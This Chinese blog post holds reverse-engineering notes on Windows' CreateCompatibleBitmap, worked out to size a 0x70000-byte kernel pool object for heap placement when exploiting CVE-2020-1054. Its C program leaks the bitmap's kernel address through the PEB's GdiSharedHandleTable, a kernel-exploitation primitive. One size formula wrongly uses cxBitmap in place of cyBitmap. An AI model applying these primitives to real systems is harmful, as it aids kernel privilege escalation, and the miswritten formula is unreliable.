1. 程式人生 > 實用技巧 >BitMap大小探索之CreateCompatibleBitmap

BitMap大小探索之CreateCompatibleBitmap

目錄

BitMap大小探索筆記

在分析CVE-2020-1054漏洞時,在佔位過程中用到過CreateCompatibleBitmap函式,目標是構造一個0x70000大小的bitmap物件。

分析文章如下

https://bbs.pediy.com/thread-260884.htm

下面是CreateCompatibleBitmap的逆向筆記

CreateCompatibleBitmap逆向分析

該函式原型如下

HBITMAP CreateCompatibleBitmap(
  HDC hdc,
  int cx,
  int cy
);

Parameters
hdc

A handle to a device context.

cx

The bitmap width, in pixels.

cy

The bitmap height, in pixels.

其呼叫流程如下

CreateCompatibleBitmap-->NtGdiCreateCompatibleBitmap-->GreCreateCompatibleBitmap-->hsurfCreateCompatibleSurface-->bCreateDIB-->AllocateObject(bCreateDIB+0x1f3)-->ExAllocatePoolWithTag

關鍵在於bCreateDIB的第二個引數,如下圖第二個引數為結構體DEVBITMAPINFO指標,佈局如下,可以看到此時傳入的iFormat為1,cxBitmap和cyBitmap是我們傳入的值

以iFormat為1基準,測試bitmap大小,如下圖當iFormat為1,則會進行第一次運算,公式為:nResult==((cxBitmap + 0x1F) >> 3) & 0x1FFFFFFC);

向下繼續走第二次運算

nResult==(((cxBitmap + 0x1F) >> 3) & 0x1FFFFFFC)*cxBitmap+0x238;

最終呼叫ExAllocatePoolWithTag如下圖,傳入的值為0x6f238,以0x1000位元組對齊,申請的大小為0x70000

C語言驗證程式碼

#include <Windows.h>
#include <stdio.h>
typedef struct _HANDLEENTRY {
	PVOID   phead;
	PVOID   pOwner;
	BYTE    bType;
	BYTE    bFlags;
	WORD    wUniq;
} HANDLEENTRY, *PHANDLEENTRY;

typedef struct _SERVERINFO {
	WORD    wRIPFlags;
	WORD    wSRVIFlags;
	WORD    wRIPPID;
	WORD    wRIPError;
	ULONG   cHandleEntries;
} SERVERINFO, *PSERVERINFO;

typedef struct _SHAREDINFO {
	PSERVERINFO  psi;
	PHANDLEENTRY aheList;
	ULONG        HeEntrySize;
} SHAREDINFO, *PSHAREDINFO;


typedef struct _LARGE_STRING {
	ULONG Length;
	ULONG MaximumLength : 31;
	ULONG bAnsi : 1;
	PVOID Buffer;
} LARGE_STRING, *PLARGE_STRING;

typedef struct _PEB
{
	BOOLEAN InheritedAddressSpace;
	BOOLEAN ReadImageFileExecOptions;
	BOOLEAN BeingDebugged;
	union
	{
		BOOLEAN BitField;
		struct
		{
			BOOLEAN ImageUsesLargePages : 1;
			BOOLEAN IsProtectedProcess : 1;
			BOOLEAN IsLegacyProcess : 1;
			BOOLEAN IsImageDynamicallyRelocated : 1;
			BOOLEAN SkipPatchingUser32Forwarders : 1;
			BOOLEAN SpareBits : 3;
		};
	};
	HANDLE Mutant;

	PVOID ImageBaseAddress;
	PVOID Ldr;
	PVOID ProcessParameters;
	PVOID SubSystemData;
	PVOID ProcessHeap;
	PRTL_CRITICAL_SECTION FastPebLock;
	PVOID AtlThunkSListPtr;
	PVOID IFEOKey;
	union
	{
		ULONG CrossProcessFlags;
		struct
		{
			ULONG ProcessInJob : 1;
			ULONG ProcessInitializing : 1;
			ULONG ProcessUsingVEH : 1;
			ULONG ProcessUsingVCH : 1;
			ULONG ProcessUsingFTH : 1;
			ULONG ReservedBits0 : 27;
		};
		ULONG EnvironmentUpdateCount;
	};
	union
	{
		PVOID KernelCallbackTable;
		PVOID UserSharedInfoPtr;
	};
} PEB, *PPEB;

typedef struct _CLIENT_ID {
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

typedef struct _TEB
{
	NT_TIB NtTib;
	PVOID EnvironmentPointer;
	CLIENT_ID ClientId;
	PVOID ActiveRpcHandle;
	PVOID ThreadLocalStoragePointer;
	PPEB ProcessEnvironmentBlock;
	ULONG LastErrorValue;
	ULONG CountOfOwnedCriticalSections;
	PVOID CsrClientThread;
	PVOID Win32ThreadInfo;
}TEB, *PTEB;

int main(int argc, char *argv[])
{
	//exploit dc
	HDC exploit_dc = CreateCompatibleDC(0x0);


	PBYTE pExpBitmapObj = 0;

	system("pause");

	HBITMAP hExploitBit = CreateCompatibleBitmap(exploit_dc, 0x6f000, 0x8);


	printf("[+]hExploitBit Handle address: %p\n", hExploitBit);


	PTEB Teb = NtCurrentTeb();
	PPEB Peb = Teb->ProcessEnvironmentBlock;
	if (Peb == NULL)
	{
		return FALSE;
	}

	printf("[+]Peb Pointer address : %p\n", Peb);
	PBYTE  GdiSharedHandleTable = *(PBYTE *)((ULONGLONG)Peb + 0xF8);
	if (GdiSharedHandleTable == NULL)
	{
		return FALSE;
	}
	printf("[+]GdiSharedHandleTable Pointer address: %p\n", GdiSharedHandleTable);


	//獲取 漏洞物件 核心地址
	pExpBitmapObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hExploitBit) & 0xffff));

	printf("[+]dwExpBitmapObj Lookup address: %p\n", pExpBitmapObj);

};